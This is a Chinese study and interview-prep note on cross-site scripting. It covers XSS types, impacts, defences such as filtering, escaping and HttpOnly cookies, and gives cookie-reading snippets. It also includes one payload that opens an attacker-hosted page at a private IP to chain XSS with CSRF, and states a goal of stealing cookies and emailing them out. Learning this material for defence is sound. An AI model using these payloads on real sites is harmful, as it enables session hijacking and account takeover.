目录
Ⅰ、XSS跨站脚本攻击
一、介绍:
Cross Site Scripting,XSS是指通过在浏览器内运行非法的HTML标签或javascript。
二、原理
攻击者利用web页面的漏洞,插入一些恶意代码,当用户访问页面的时候,代码就会执行,这个时候就达到了攻击者的目的。
通过修改或添加页面上的javascript恶意脚本,在浏览器渲染页面时执行该脚本,从而实现窃取cookie。获取完cookie后就相当于可以伪造用户身份登录该网站。
三、分类
反射型(图片属性,超链接)
储存型(贴吧的评论、注册)
DOM型(也属于反射型、javascript操作cookie)
反射型和存储都需要经过服务器解析,并与数据库产生交互。
DOM型只需要前端解析,不予数据库产生交互。
四、危害:
1.窃取cookie,其中可能存在session ID等敏感信息。
2.后台增删文章
3.xss钓鱼攻击
4.利用xss漏洞进行传播和修改网页代码
5.xss蠕虫攻击
6.网端重定向
7.获取键盘记录
8.获取用户信息
9.结合其它漏洞,例如csrf漏洞进行getshell
五、防御:
1.过滤:对<>等符号进行过滤
坚决不要相信用户的任何输入,并过滤输入中的所有特殊字符。这样就能过滤大部分的xss攻击。
2.使用htmlspecrlchare函数对输入内容进行编码和转义。
3.一般都是用防火墙modcecurity
六、标签:
<img>标签的onerror属性
<a>标签的herf属性
<input>标签的value属性
七、相关语句
读取cookie
document.cookie;
alert(document.cookie);
写入cookie
document.cookie=xxx;
八、如何判断XSS类型
存储型:以后这个页面的返回包里面都有xss代码
反射型:只能在当前这一次返回的包里面发现xss代码
DOM型:返回的包里面压根找不到xss代码
Ⅱ、XSS的利用
一、目标:
把脚本注入到网页中,获取用户的cookie,之后发邮件给我。
二、检验是否有xss漏洞:
1.把一堆payload都输入试一下
2.自动化检测工具:xsser,xssstrike
三、步骤:
1.获取cookie
2.发送邮件
Ⅲ、XSS+CSRF组合攻击
一、原理:
利用xss漏洞将恶意代码注入受害者的浏览器中,从而获取其cookie等敏感信息。然后攻击者可以使用这些信息来伪造受害者的身份,向目标网站发送CSRF攻击请求,执行攻击。
XSS代码实现:
<script src="x"onerror=javascript:window.open("http://10.0.78.4:81/csrf.html")>
</script>
Ⅳ、面试题
1.利用xss漏洞时无法抓到cookie,可能是什么原因?
在利用XSS漏洞时,如果浏览器启用了HttpOnly标记,则无法通过JavaScript代码获取或修改Cookie。此标记是一种安全机制,可防止恶意脚本窃取用户的身份验证凭据。因此,即使成功注入XSS代码,攻击者也无法窃取用户的Cookie信息。
将cookie设置为HttpOnly。CSRF攻击很大程度是利用了浏览器的cookie,为了防止站内XSS漏洞,cookie设置HttpOnly属性,JS脚本就无法读取到cookie中的信息,避免攻击者伪造cookie的情况出现。